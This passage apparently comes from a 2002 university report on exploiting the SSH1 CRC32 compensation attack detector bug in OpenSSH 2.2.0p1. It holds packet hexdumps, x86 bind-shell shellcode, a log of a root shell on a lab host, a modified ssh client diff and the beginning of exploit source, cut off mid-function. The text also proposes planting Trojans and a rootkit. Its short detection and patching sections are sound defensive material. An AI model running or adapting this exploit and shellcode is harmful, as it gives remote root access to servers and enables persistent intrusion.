The next memory address to find is h-to-kernel_space distance. The reason why we are interested in this distance is that the stack frame of the current process is close to the kernel space i.e. somewhere below address 0xC0000000. The stack frame is of interest since the saved EIP of the parent function is there. See Chapter 2.3. In this phase, we use a dedicated type of ssh-cipherpacket to test if h[i] is readable (#3 in detect_attack()) and small enough that 'buf + h[i] * SSH_BLOCKSIZE' is readable (#4 in detect_attack()). The stack area contains such small numbers. This packet type uses this test only once - at 0x5BFC4280 in the packet hexdump extract below. We want to test one address only and exit the process as quickly as we can. The pattern of '0x00002860 0100FFFF's is a tell-tale sign for the sshd that this packet uses CRC32 compensation attack. We want the sshd to think like this in order to close the connection right away and speed up the process. On the other hand we can now distinguish between SEGV while processing the first 8-byte ssh block and CRC32 compensation attack detected while processing the second block. This will let the attacker know if the sshd could read memory at 0x5BFC4280.

The packets our exploit sends are filled with the quess for h-to-kernel_space offset (16-bit), although it is required only in the very beginning of the packet.

000000b8 5b fc 42 80 73 50 ff ff 00 00 28 60 01 00 ff ff ; [üB€sPÿÿ..(`..ÿÿ
000000c8 5b fc 42 80 73 50 ff ff 5b fc 42 80 73 50 ff ff ; [üB€sPÿÿ[üB€sPÿÿ
000000d8 5b fc 42 80 73 50 ff ff 5b fc 42 80 73 50 ff ff ; [üB€sPÿÿ[üB€sPÿÿ
000000e8 5b fc 42 80 73 50 ff ff 00 00 28 60 01 00 ff ff ; [üB€sPÿÿ..(`..ÿÿ
000000f8 5b fc 42 80 73 50 ff ff 5b fc 42 80 73 50 ff ff ; [üB€sPÿÿ[üB€sPÿÿ
00000108 00 00 28 60 01 00 ff ff 00 00 28 60 01 00 ff ff ; ..(`..ÿÿ..(`..ÿÿ
00000118 5b fc 42 80 73 50 ff ff 5b fc 42 80 73 50 ff ff ; [üB€sPÿÿ[üB€sPÿÿ
00000128 5b fc 42 80 73 50 ff ff 5b fc 42 80 73 50 ff ff ; [üB€sPÿÿ[üB€sPÿÿ
00000138 5b fc 42 80 73 50 ff ff 00 00 28 60 01 00 ff ff ; [üB€sPÿÿ..(`..ÿÿ
00000148 5b fc 42 80 73 50 ff ff 5b fc 42 80 73 50 ff ff ; [üB€sPÿÿ[üB€sPÿÿ
00000158 5b fc 42 80 73 50 ff ff 00 00 28 60 01 00 ff ff ; [üB€sPÿÿ..(`..ÿÿ
00000168 00 00 28 60 01 00 ff ff 00 00 28 60 01 00 ff ff ; ..(`..ÿÿ..(`..ÿÿ
00000178 5b fc 42 80 73 50 ff ff 00 00 28 60 01 00 ff ff ; [üB€sPÿÿ..(`..ÿÿ
00000188 00 00 28 60 01 00 ff ff 5b fc 42 80 73 50 ff ff ; ..(`..ÿÿ[üB€sPÿÿ
00000198 00 00 28 60 01 00 ff ff 00 00 28 60 01 00 ff ff ; ..(`..ÿÿ..(`..ÿÿ
000001a8 5b fc 42 80 73 50 ff ff 00 00 28 60 01 00 ff ff ; [üB€sPÿÿ..(`..ÿÿ
000001b8 00 00 28 60 01 00 ff ff 00 00 28 60 01 00 ff ff ; ..(`..ÿÿ..(`..ÿÿ
000001c8 5b fc 42 80 73 50 ff ff 5b fc 42 80 73 50 ff ff ; [üB€sPÿÿ[üB€sPÿÿ
...
Our exploit is a bit simplified version of the 'shack' implementation in this phase. Shack uses three different packet types to hunt down the h-to-stack distance with binary search. Our exploit only finds the distance from h to kernel_space. Although the difference is usually quite small and we can compensate the error in the shellcode phase. Our current implementation brute forces the distance beginning from an educated quess. It starts testing addresses way deep in the kernel space and comes down gradually and finds the lower bound of the kernel space. With this distance, we can calculate the addresses for h and buf.

4.3.4 Sending shellcode
The heart of our exploit is to send the packet that finalizes the breach to the victim host. This packet combines basically three important functions. It rewrites the saved EIP in the stack frame, exits the attack_detect() function call as quickly as possible, and when returned, executes the shellcode that lets the attacker telnet to the victim and control a root shell. The base of this packet is NOP instruction (0x90 on Intel x86 architecture) since it occupies most of this packet. Other contents are inserted where necessary. The following tcpdump extract shows what this ssh cipherpacket consists of.

000000b8 00 00 28 5d 73 50 ff ff 00 00 28 61 73 50 ff ff ; ..(]sPyy..(asPyy
000000c8 00 00 28 65 73 50 ff ff 00 00 28 69 73 50 ff ff ; ..(esPyy..(isPyy
000000d8 00 00 28 6d 73 50 ff ff 00 00 28 71 73 50 ff ff ; ..(msPyy..(qsPyy
000000e8 00 00 28 75 73 50 ff ff 00 00 28 79 73 50 ff ff ; ..(usPyy..(ysPyy
000000f8 00 00 28 7d 73 50 ff ff 00 00 28 81 73 50 ff ff ; ..(}sPyy..(sPyy

000040c8 00 00 48 65 73 50 ff ff 00 00 48 69 73 50 ff ff ; ..HesPyy..HisPyy
000040d8 00 00 48 6d 73 50 ff ff 00 00 48 71 73 50 ff ff ; ..HmsPyy..HqsPyy
000040e8 5b fc 2f 7f 73 50 ff ff 00 00 48 79 73 50 ff ff ; [ü/sPyy..HysPyy
000040f8 5b fc 2f 7f 73 50 ff ff 00 00 48 80 09 08 90 90 ; [ü/sPyy..H€.. 
00004108 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ; 
00004118 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ; 
00004128 90 90 90 90 90 90 90 90 00 00 48 80 09 08 90 90 ; ..H€.. 
00004138 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ; 
00004148 00 00 48 80 09 08 90 90 00 00 48 80 09 08 90 90 ; ..H€.. ..H€.. 
00004158 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 : 
00004168 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 : 
00004178 90 90 90 90 90 90 90 90 00 00 48 80 09 08 90 90 ; ..H€.. 
00004188 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ; 
00004198 90 90 90 90 90 90 90 90 00 00 48 80 09 08 90 90 ; ..H€.. 
000041a8 00 00 48 80 09 08 90 90 00 00 48 80 09 08 90 90 ; ..H€.. ..H€.. 
000041b8 90 90 90 90 90 90 90 90 00 00 48 80 09 08 90 90 ; ..H€.. 
000041c8 90 90 90 90 90 90 90 90 00 00 48 80 09 08 90 90 ; ..H€..
000041d8 00 00 48 80 09 08 90 90 00 00 48 80 09 08 90 90 ; ..H€.. ..H€.. 
000041e8 90 90 90 90 90 90 90 90 00 00 48 80 09 08 90 90 ; ..H€.. 
000041f8 00 00 48 80 09 08 90 90 00 00 48 80 09 08 90 90 ; ..H€.. ..H€.. 
00004208 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 : 

00019028 eb 72 5e 29 c0 89 46 10 40 89 c3 89 46 0c 40 89 ; ër^)À‰F.@‰Ã‰F.@‰
00019038 46 08 8d 4e 08 b0 66 cd 80 43 c6 46 10 10 66 89 ; F.N.°fÍ€CÆF..f‰
00019048 5e 14 88 46 08 29 c0 89 c2 89 46 18 b0 90 66 89 ; ^.ˆF.)À‰Â‰F.°f‰
00019058 46 16 8d 4e 14 89 4e 0c 8d 4e 08 b0 66 cd 80 89 ; F.N.‰N.N.°fÍ€‰
00019068 5e 0c 43 43 b0 66 cd 80 89 56 0c 89 56 10 b0 66 ; ^.CC°fÍ€‰V.‰V.°f
00019078 43 cd 80 86 c3 b0 3f 29 c9 cd 80 b0 3f 41 cd 80 ; CÍ€†Ã°?)ÉÍ€°?AÍ€
00019088 b0 3f 41 cd 80 88 56 07 89 76 0c 87 f3 8d 4b 0c ; °?AÍ€ˆV.‰v.‡óK.
00019098 b0 0b cd 80 e8 89 ff ff ff 2f 62 69 6e 2f 73 68 ; °.Í€è‰yyy/bin/sh
000190a8 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ; 
The first part of the packet is designed so that the for loop (before #3 in detect_attack()) increases the value of j, See Chapter 3 for more information. These blocks are filled with offsets for h to point to the following 0xFF's. This will make the for loop run quickly and smoothly until j is what we want it to be. We want j to be that value which will be written to saved_EIP. The most significant word (16-bit) of the saved_EIP is usually around 0x807. The least significant word can be whatever. Since detect_attack() will try to read memory at (buf + h[i] * SSH_BLOCKSIZE) at #4, the value we write on top of the old word in the memory cannot be very large. This means that we can only write small numbers to memory with detect_attack(). This is a reason for only writing the most significant byte of the saved_EIP, which is only about 0x807 and makes (buf + h[i] * SSH_BLOCKSIZE) readable at #4. However, this is no problem for our exploit, because our NOP sled is over 0xFFFF long and it doesn't matter what the LSW of EIP is if the MSW is correct.

When j is the desired saved_EIP_MSW (guessed), we set i to be the h-to-saved_EIP offset (guessed). Now detect_attack() will have to reach point #5 to write the new EIP with correct values of i and j. This is only possible when if clause at #4 is true and the CRC will be checked with check_crc(). This check will not generate 'CRC32 compensation attack detected' message since there is no attack pattern. On the contrary, the crc_check() will pass and the for loop is broken out of. Now h[i] will be j and detect_attack() has been exploited.

One more thing: The comparison at #4 will only pass if the block at c is the same as (buf + h[i] * SSH_BLOCKSIZE). j will be the target saved_EIP_MSW (such as 0x807) and c is (buf + j * SSH_BLOCKSIZE), so we need to fix the contents at (buf + h[i] * SSH_BLOCKSIZE) to be the same as at c. h[i] hopefully points to the MSW of saved_EIP and has a value that is the real return address for detect_attack() at this point. This is usually something like 0x805. This means that the block number 0x805 in our packet must have the same content as the block number 0x807 at hand. Therefore we need to have an exact copy of the saved_EIP_MSW writing block at 0x807. In the tcpdump above, these two blocks can be seen at 0x40E8 and at 0x40F8.

Once again, these blocks are followed by the CRC32 compensation attack pattern for exiting the outer for loop as quickly as possible. This pattern consists of 15 blocks that each include a h-to-buffer offset that points to the first block of this pattern (0x809, GET_CRC32() order). When detect_attack() processes the block number 0x809, it detects the attack and returns. By a miracle, the return address is now 0x807 and the process execution jumps to a new location, hopefully the NOP sled in the buffer.

4.3.5 Executing shellcode
Once the EIP lands on the NOP sled in buf, the execution will slide down the sled to the shellcode, where the attackers code will be executed with root privileges. The system call to execve in the shellcode will capture the ongoing process which will be bound to a tcp port.

The shellcode itself is 128 bytes long including the string that is passed to execve system call. The biggest problem of the shellcode is that it will have to know the address of the string "/bin/sh" in order to pass it as an argument to the system interrupt. For this purpose, it uses a call-pop combination to write EIP to stack and then pop it from the stack. Easy as that.

Assuming now that J stands for the JMP instruction, C for the CALL instruction, and s for the string, the execution flow would now be [1]:

Arrangement of Shellcode execution:

        bottom of  DDDDDDDDEEEEEEEEEEE     top of
        memory     89ABCDEF0123456789A     memory
                   buffer            
       
        <------   [JSSSSSSSSSSSSSSCCss]
                   |^             ^|            
                   ||             ||
               (1) ||_____________||
                    |______________| (2)
        top of                             bottom of
        stack                              stack
See Appendix 7.1 for details.

4.4 Using exploit
The exploit application is a command-line utility that can be run on many different platforms. In the case of Intel x86 architecture, Linux, and victim sshd version openssh-2.2.0p1, the exploit works fine with no command-line arguments whatsoever. With different platforms, some parameter need adjusting to run the exploit in sensible time span.

A user of our exploit needs:

Openssh-2.3.0 client sourcecode
packet.diff for modifying the ssh client
uxp2.c sourcecode (our exploit application)
See Appendix 7.3 for packet.diff and uxp2.c source code files.

See Appendix 7.2 for details what the exploit looks like from the attackers point of view.

After the attacker connects to the victims new open port and root shell, the sshd gives 10 minutes to run commands as root. After those minutes the sshd parent process that forks children for individual connections will close the connection in the name of a time-out. This time can be used to implant Trojan horses and other malicious programs into the victim that will for example expose passwords as they are typed in.

4.5 Advantages and Disadvantages
The advantage of the exploit is that it runs without any parameters and succeeds to run the shellcode with some non-zero probability. The application runs the shellcode quite quickly compared to some other CRC32 attack detector exploits that also require perfect guesses for addresses.

The biggest disadvantage is that the application is heavily optimized for our own hardware and software platform. The application could prompt the user for different target sshd-implementations, for example. Some memory-address distances are determined by brute-force means. Switching to binary search could make the exploit a lot quicker. The exploit could also include some sort of root kit or tools to preserve the access to the victim host.

5 Counter actions
5.1 Detecting attacks
Detecting attacks using this exploit can be done pretty easily if the host has already some active log monitor or traffic follower (e.g. snort) running.

The traffic is quite notable because this is based on bruteforcing. The count of log entries on target machine will be therefore high. The following strings could be filtered out with the log monitor:

sshd[24399]: Disconnecting: Corrupted check bytes on input.
sshd[24439]: Disconnecting: crc32 compensation attack: network attack detected
If those entries are matched many on a row, the log monitor could dynamically set the firewall to block the connections from the source ip mentioned on the logs.

The traffic monitor could either check the lengths of the packets or if the packet contains lot of NOP instructions (0x90 on Intel platforms). The length of the packets is fairly constant (about 100kB) and there are only one big packet per connection and then the connection is dropped. Snort could be configured to do this monitoring easily.

Also the normal hack detection methods can be used. For example check the integrity of binaries using some automated tool (e.g. tripwire). If the logs are kept on and sent real-time to different, secure host, then the logs should inform about something mystical because they can't be tampered.

5.2 Required actions after being attacked
If the system's security is breached:

disconnect the machine from the network immediately
disconnect also the other hosts 'near' the infected one because probably the attacker has gained root on those machines as well
notify the users of this host
start to analyze the logs with security expert and inform the police if necessary (helps you in the case where your host is used in hacking other hosts)
do NOT put the machine in a production environment without complete system reinstall
This is the same procedure that should be followed in any hack suspicion.

5.3 Preventive actions
The vulnerability is easily fixed: change the variable n from 16-bit to 32-bit or set some kind of check for packet length or the value of n.

Frankly, updating your SSH daemon to a newer, secure version is the safest bet.

If the users are willing, restrict the hosts where the users can log from. This can be done using firewall settings.

6 References
[1] Aleph One: [phrack] Smashing The Stack For Fun And Profit [online] [referenced March 20, 2002] Vol 7, Issue 49
Available from: <http://www.phrack.com/phrack/49/P49-14>
[2] blackshell@hushmail.com: [Securityfocus bugtraq: vuln-dev archive] ssh1 remote root exploit [online]. [referenced March 20, 2002] Available from: <http://online.securityfocus.com/archive/82/247801>
[3] Johnson, Michael K. Linux Memory Management Overview. In Linux documentation project [online] [referenced March 20, 2002] Available from:  <http://www.linuxdoc.org/LDP/khg/HyperNews/get/memory/linuxmm.html>
[4] Visscher Paul. readelf man page [online] [referenced March 20, 2002] Available from:  <http://www.gnu.org/manual/binutils-2.10.1/html_chapter/binutils_14.html>
[5] Starzetz, Paul. ssh1.crc32.txt [online article] [referenced March 20, 2002] Available from:  <http://packetstorm.widexs.nl/0102-exploits/ssh1.crc32.txt>
[6] Lanza, Jeffrey P. Vulnerability Note VU#945216 [online], Carnegie Mellon Software Engineering Institute. [referenced March 20, 2002] Available from:  <http://www.kb.cert.org/vuls/id/945216>
[7] SSH CRC-32 Compensation Attack Detector Vulnerability, Securiryfocus.com bugtraq list [online]. [referenced March 20, 2002] Available from:  <http://online.securityfocus.com/bid/2347>
[8] Dittrich, David A. Analysis of SSH crc32 compensation attack detector exploit [online]. [referenced March 20, 2002] Available from: <http://staff.washington.edu/dittrich/misc/ssh-analysis.txt>
[9] Rafail, Jason A.; Dougherty, Chad. CERT® Advisory CA-2001-35 Recent Activity Against Secure Shell Daemons [online] Carnegie Mellon Software Engineering Institute. [referenced March 20, 2002] Available from:  <http://www.cert.org/advisories/CA-2001-35.html>
[10] Packetstorm exploit archive, Shack exploit [online] [referenced March 20, 2002] <http://packetstorm.widexs.nl/0201-exploits/cm-ssh.tgz>
[11] Incidents.org, Handler's Diary Thursday, December 13th 2001 [online] [referenced March 20, 2002] <http://www.incidents.org/diary/diary.php?id=118>
[12] Elson, Jeremy. tcpflow -- A TCP Flow Recorder [online] [referenced March 20, 2002] <http://www.circlemud.org/~jelson/software/tcpflow/>
[13] jsb4ch@hotmail.com, ANTI-prym/h4g1s portshell code [online] [referenced March 20, 2002] <http://www.cotse.com/sw/linux/portshell.txt>
[14] Heinisuo, Rami et al.: Elektronisen viittaamisen opas [online]. Jyväskylä: University of Jyväskylä, 1997 [referenced January 27, 2002] Available from: <http://lib.hut.fi/Elehdet/Elviira/ >
[15] Siegert, Martin: [linux-security] ssh1 remote root exploit [online]. Simon Fraser University, 2001 [referenced January 27, 2002] SFU's linux-security mailing list. Available from: <http://www.sfu.ca/~siegert/linux-security/msg00017.html>
[16] SSH statement regarding the vulnerability of SSH1 protocol <http://www.ssh.com/products/ssh/cert/>
[17] Possible OpenSSH DoS Attack <http://www.securityfocus.com/cgi-bin/archive.pl?id=82&start=2002-01-26&end=2002-02-01&threads=0&mid=004401c181d1$2b91adc0$0400a8c0@pi>
[18] SSH Vulnerability Scan Vulnerability to CRC32 compensation attack detector exploit <http://www.securityfocus.com/archive/1/243644> <http://staff.washington.edu/dittrich/misc/ssh-analysis.txt>
[19] Cisco Security Advisory: Multiple SSH Vulnerabilities <http://www.cisco.com/warp/public/707/SSH-multiple-pub.html>
[20] OpenSSH subject to traffic analysis <http://www.securityfocus.com/archive/1/176117/> <http://www.openwall.com/advisories/OW-003-ssh-traffic-analysis.txt>
[21] SSH brute forcer <http://www.securityfocus.com/archive/82/252405>
[22] blackshell tool1: SSHD vulnerability scanner <http://www.securityfocus.com/archive/82/247801>
[23] Ylönen, Tatu.  The SSH (Secure Shell) Remote Login Protocol [online] [referenced March 20, 2002] <http://www.snailbook.com/docs/protocol-1.5.txt>

7 Appendices
7.1 Shellcode
/*
*  Linux/x86
*  TCP/36864 portshell (old, could be optimized further)
*/

char shellcode[] =         /* anathema <anathema@hack.co.za> */
        /* main: */
"xebx72"                        /* jmp callz               */

        /* start: */
"xebx72"                        /* popl %esi               */

        /* socket() */
"x29xc0"                        /* subl %eax, %eax         */
"x89x46x10"                        /* movl %eax, 0x10(%esi)   */
"x40"                                /* incl %eax               */
"x89xc3"                        /* movl %eax, %ebx         */
"x89x46x0c"                        /* movl %eax, 0x0c(%esi)   */
"x40"                                /* incl %eax               */
"x89x46x08"                        /* movl %eax, 0x08(%esi)   */
"x8dx4ex08"                        /* leal 0x08(%esi), %ecx   */
"xb0x66"                        /* movb $0x66, %al         */
"xcdx80"                        /* int $0x80               */

        /* bind() */
"x43"                                /* incl %ebx               */
"xc6x46x10x10"                /* movb $0x10, 0x10(%esi)  */
"x66x89x5ex14"                /* movw %bx, 0x14(%esi)    */
"x88x46x08"                        /* movb %al, 0x08(%esi)    */
"x29xc0"                        /* subl %eax, %eax         */
"x89xc2"                        /* movl %eax, %edx         */
"x89x46x18"                        /* movl %eax, 0x18(%esi)   */
"xb0x90"                        /* movb $0x90, %al         */
"x66x89x46x16"                /* movw %ax, 0x16(%esi)    */
"x8dx4ex14"                        /* leal 0x14(%esi), %ecx   */
"x89x4ex0c"                        /* movl %ecx, 0x0c(%esi)   */
"x8dx4ex08"                        /* leal 0x08(%esi), %ecx   */
"xb0x66"                        /* movb $0x66, %al         */
"xcdx80"                        /* int $0x80               */

        /* listen() */
"x89x5ex0c"                        /* movl %ebx, 0x0c(%esi)   */
"x43"                                /* incl %ebx               */
"x43"                                /* incl %ebx               */
"xb0x66"                        /* movb $0x66, %al         */
"xcdx80"                        /* int $0x80               */

        /* accept() */
"x89x56x0c"                        /* movl %edx, 0x0c(%esi)   */
"x89x56x10"                        /* movl %edx, 0x10(%esi)   */
"xb0x66"                        /* movb $0x66, %al         */
"x43"                                /* incl %ebx               */
"xcdx80"                        /* int $0x80               */

        /* dup2(s, 0); dup2(s, 1); dup2(s, 2); */
"x86xc3"                        /* xchgb %al, %bl          */
"xb0x3f"                        /* movb $0x3f, %al         */
"x29xc9"                        /* subl %ecx, %ecx         */
"xcdx80"                        /* int $0x80               */
"xb0x3f"                        /* movb $0x3f, %al         */
"x41"                                /* incl %ecx               */
"xcdx80"                        /* int $0x80               */
"xb0x3f"                        /* movb $0x3f, %al         */
"x41"                                /* incl %ecx               */
"xcdx80"                        /* int $0x80               */

        /* execve() */
"x88x56x07"                        /* movb %dl, 0x07(%esi)    */
"x89x76x0c"                        /* movl %esi, 0x0c(%esi)   */
"x87xf3"                        /* xchgl %esi, %ebx        */
"x8dx4bx0c"                        /* leal 0x0c(%ebx), %ecx   */
"xb0x0b"                        /* movb $0x0b, %al         */
"xcdx80"                        /* int $0x80               */

        /* callz: */
"xe8x89xffxffxff"                /* call start              */
"/bin/sh";
7.2 Exploit usage
[root@localhost exploit]# ../uxp2
Finding estimate for h..buf distance
  Testing h..buf offset: 0x00000000 B  NOT FOUND (SEQV)
  Testing h..buf offset: 0x0000c800 B  FOUND (Corrupt bytes)
Finding exact h..buf distance
  Testing h..buf offset: 0x00004800 B (prev. step=0x00008000h) NOT FOUND. Increasing by 0x00002000
  Testing h..buf offset: 0x00008800 B (prev. step=0x00004000h) FOUND. Decreasing by 0x00001000
  Testing h..buf offset: 0x00006800 B (prev. step=0x00002000h) FOUND. Decreasing by 0x00000800
  Testing h..buf offset: 0x00005800 B (prev. step=0x00001000h) FOUND. Decreasing by 0x00000400
  Testing h..buf offset: 0x00005000 B (prev. step=0x00000800h) NOT FOUND. Increasing by 0x00000200
  Testing h..buf offset: 0x00005400 B (prev. step=0x00000400h) FOUND. Decreasing by 0x00000100
  Testing h..buf offset: 0x00005200 B (prev. step=0x00000200h) FOUND. Decreasing by 0x00000080
  Testing h..buf offset: 0x00005100 B (prev. step=0x00000100h) FOUND. Decreasing by 0x00000040
  Testing h..buf offset: 0x00005080 B (prev. step=0x00000080h) NOT FOUND. Increasing by 0x00000020
  Testing h..buf offset: 0x000050c0 B (prev. step=0x00000040h) FOUND. Decreasing by 0x00000010
  Testing h..buf offset: 0x000050a0 B (prev. step=0x00000020h) NOT FOUND. Increasing by 0x00000008
  Testing h..buf offset: 0x000050b0 B (prev. step=0x00000010h) NOT FOUND. Increasing by 0x00000004
  Testing h..buf offset: 0x000050b8 B (prev. step=0x00000008h) FOUND. Decreasing by 0x00000002
Found exact distance: 0x000050b4
Finding lower kernel area boundary
  Testing h..boundary offset 0xb7f88500 NOT FOUND. (SEQV)
  Testing h..boundary offset 0xb7f884fc NOT FOUND. (SEQV)
  Testing h..boundary offset 0xb7f884f8 FOUND. (CRC32 Attack Detected)
Trying to run shellcode. If output stalls, telnet to 192.168.1.1:36864
  Trying shellcode/ (eip_MSW@0xbfffda00 pres_MSW=0x0806 targ_MSW=0x0808)

[1]+  Stopped                 ../uxp2
[root@localhost exploit]# kill %1

[1]+  Stopped                 ../uxp2
[root@localhost exploit]#
[root@localhost exploit]# telnet 192.168.1.1 32864
Trying 192.168.1.1...
telnet: connect to address 192.168.1.1: Connection refused
[root@localhost exploit]# telnet 192.168.1.1 36864
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.
id;
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
: command not found
ls -l;
total 480
drwxr-xr-x    2 root     root         4096 Mar  8 18:30 bin
drwxr-xr-x    3 root     root         4096 Feb 28 22:26 boot
-rw-------    1 root     root       520192 Mar 10 23:08 core
drwxr-xr-x   16 root     root        77824 Mar 12 21:21 dev
drwxr-xr-x   60 root     root         8192 Mar 19 19:24 etc
drwxr-xr-x   10 root     root         4096 Mar 15 00:04 home
drwxr-xr-x    2 root     root         4096 Jun 21  2001 initrd
drwxr-xr-x    7 root     root         4096 Mar  4 15:45 lib
drwxr-xr-x    2 root     root        16384 Sep  2  2001 lost+found
drwxr-xr-x    2 root     root            0 Feb 28 22:32 misc
drwxr-xr-x    4 root     root         4096 Nov 23 17:13 mnt
lrwxrwxrwx    1 root     root           13 Jan 20 15:09 mp3 -> /mnt/hdd1/MP3
drwxr-xr-x    2 root     root         4096 Aug 23  1999 opt
dr-xr-xr-x  180 root     root            0 Feb 28 22:32 proc
drwxr-x---   29 root     root         4096 Mar 19 18:55 root
drwxr-xr-x    2 root     root         4096 Mar  8 18:31 sbin
lrwxrwxrwx    1 root     root           18 Nov 20 23:12 scratch -> /mnt/hdc1/scratch/
drwxrwxrwt   13 root     root         4096 Mar 19 19:10 tmp
drwxr-xr-x   17 root     root         4096 Feb  5 18:11 usr
drwxr-xr-x   22 root     root         4096 Sep  2  2001 var
lrwxrwxrwx    1 root     root           14 Nov 16 19:48 www -> /mnt/hdc1/www/
: command not found
exit;
Connection closed by foreign host.
[root@localhost exploit]#
7.3 Source code files for the exploit
7.3.1 packet.diff
Download packet.diff

--- packet.c        Sat Oct 14 08:23:12 2000
+++ packet_modified.c        Tue Mar 19 20:24:25 2002
@@ -125,6 +125,9 @@
/* Session key information for Encryption and MAC */
Kex        *kex = NULL;

+/* pekka.korpinen@hut.fi, kalle.lyytikainen@hut.fi */
+/* HACK - Packet Number */
+int count = 0;
+
void
packet_set_kex(Kex *k)
{
@@ -461,6 +464,9 @@
        unsigned int checksum;
        u_int32_t rand = 0;

+        /* HACK - Count sent packets */
+        count++;
+
        /*
         * If using packet compression, compress the payload of the outgoing
         * packet.
@@ -1172,7 +1178,32 @@
void
packet_write_poll()
{
-        int len = buffer_len(&output);
+        int len;
+
+        /* --- HACK START --- */
+        FILE *f;
+        unsigned long sz;
+        char buf[50], *ptr, packet[270000];
+
+        if (count == 2)
+        {
+                debug("reading exploit packet from /tmp/exploit_packet");
+                 f = fopen("/tmp/exploit_packet","r");
+                 fread(buf, 1, 4, f);
+                 sz = GET_32BIT(&buf[0])+4;
+                 debug("packet length = %un", sz);
+
+                 buffer_clear(&output);
+                 buffer_append(&output, packet, sz);
+                   ptr = buffer_ptr(&output);
+                   fread(ptr, 1, sz, f);
+                   fclose(f);
+                  
+                 count++;
+        }
+        /* --- HACK END --- */
+        
+        len = buffer_len(&output);
        if (len > 0) {
                len = write(connection_out, buffer_ptr(&output), len);
                if (len <= 0) {
7.3.2 uxp2.c
Download uxp2.c

/*

THIS FILE IS FOR EDUCATIONAL PURPOSE ONLY.

Exploit code for using the modified ssh

2002-03-20

Authors:
Pekka Korpinen, pekka.korpinen@hut.fi                / Helsinki University of Technology
Kalle Lyytikäinen, kalle.lyytikainen@hut.fi        / Helsinki University of Technology

       
This code is based on the reverse-engineering work of the
shack implementation. Shellcode is by anathema.

*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

/* Path to modified ssh */
#define PATH_SSH "./ssh"

// Target host
char host[] = "192.168.1.1";

// Target port
int port = 2222;

// Packet length (don't touch)
unsigned long packet_length = 102400;

// The packet buffer
char *buffer = NULL;


/*
*  Linux/x86
*  TCP/36864 portshell (old, could be optimized further)
*/

char shellcode[] = /* anathema <anathema@hack.co.za> */
/* main: */
"xebx72"                                /* jmp callz               */
/* start: */
"x5e"                                    /* popl %esi               */

  /* socket() */
"x29xc0"                                /* subl %eax, %eax         */
"x89x46x10"                            /* movl %eax, 0x10(%esi)   */
"x40"                                    /* incl %eax               */
"x89xc3"                                /* movl %eax, %ebx         */
"x89x46x0c"                            /* movl %eax, 0x0c(%esi)   */
"x40"                                    /* incl %eax               */
"x89x46x08"                            /* movl %eax, 0x08(%esi)   */
"x8dx4ex08"                            /* leal 0x08(%esi), %ecx   */
"xb0x66"                                /* movb $0x66, %al         */
"xcdx80"                                /* int $0x80               */

  /* bind() */
"x43"                                    /* incl %ebx               */
"xc6x46x10x10"                        /* movb $0x10, 0x10(%esi)  */
"x66x89x5ex14"                        /* movw %bx, 0x14(%esi)    */
"x88x46x08"                            /* movb %al, 0x08(%esi)    */
"x29xc0"                                /* subl %eax, %eax         */
"x89xc2"                                /* movl %eax, %edx         */
"x89x46x18"                            /* movl %eax, 0x18(%esi)   */
"xb0x90"                                /* movb $0x90, %al         */
"x66x89x46x16"                        /* movw %ax, 0x16(%esi)    */
"x8dx4ex14"                            /* leal 0x14(%esi), %ecx   */
"x89x4ex0c"                            /* movl %ecx, 0x0c(%esi)   */
"x8dx4ex08"                            /* leal 0x08(%esi), %ecx   */
"xb0x66"                                /* movb $0x66, %al         */
"xcdx80"                                /* int $0x80               */

  /* listen() */
"x89x5ex0c"                            /* movl %ebx, 0x0c(%esi)   */
"x43"                                    /* incl %ebx               */
"x43"                                    /* incl %ebx               */
"xb0x66"                                /* movb $0x66, %al         */
"xcdx80"                                /* int $0x80               */

  /* accept() */
"x89x56x0c"                            /* movl %edx, 0x0c(%esi)   */
"x89x56x10"                            /* movl %edx, 0x10(%esi)   */
"xb0x66"                                /* movb $0x66, %al         */
"x43"                                    /* incl %ebx               */
"xcdx80"                                /* int $0x80               */

  /* dup2(s, 0); dup2(s, 1); dup2(s, 2); */
"x86xc3"                                /* xchgb %al, %bl          */
"xb0x3f"                                /* movb $0x3f, %al         */
"x29xc9"                                /* subl %ecx, %ecx         */
"xcdx80"                                /* int $0x80               */
"xb0x3f"                                /* movb $0x3f, %al         */
"x41"                                    /* incl %ecx               */
"xcdx80"                                /* int $0x80               */
"xb0x3f"                                /* movb $0x3f, %al         */
"x41"                                    /* incl %ecx               */
"xcdx80"                                /* int $0x80               */

  /* execve() */
"x88x56x07"                            /* movb %dl, 0x07(%esi)    */
"x89x76x0c"                            /* movl %esi, 0x0c(%esi)   */
"x87xf3"                                /* xchgl %esi, %ebx        */
"x8dx4bx0c"                            /* leal 0x0c(%ebx), %ecx   */
"xb0x0b"                                /* movb $0x0b, %al         */
"xcdx80"                                /* int $0x80               */

/* callz: */
"xe8x89xffxffxff"                    /* call start              */
"/bin/sh";

void buffer_init()
{
        buffer = (char *) malloc(packet_length+8);
}

void buffer_destroy()
{
        if (buffer)
                free(buffer);
}

void insert_crc32_compensation_attack_pattern(unsigned long *ptr,
        unsigned long value1, unsigned long value2)
{
        int positions[] = {0,6,9,10,16,20,21,22,24,25,27,28,30,31,32,-1};
        int i;
       
        for (i=0; positions[i]!=-1; i++) {
                ptr[ positions[i]*2 ] = value1;
                ptr[ positions[i]*2+1 ] = value2;
        }
}

void change_word_order()
{
        int i;
        char ch, ch2, *aux;

        for(i = 0 ; i < 4+packet_length ; i+=4) {
            aux = buffer + i;
            ch=*aux;
            *aux=*(aux+3);
            *(aux+3)=ch;
            ch=*(aux+1);
            *(aux+1)=*(aux+2);
            *(aux+2)=ch;        
          }
}

int send_packet_and_check_result(char *grepstr)
{
        char commandline[512];
        int ret;
        FILE *f;

        // Write packet
        f = fopen("/tmp/exploit_packet", "wb");
        fwrite(buffer, 1, (packet_length+8), f);
        fclose(f);

       
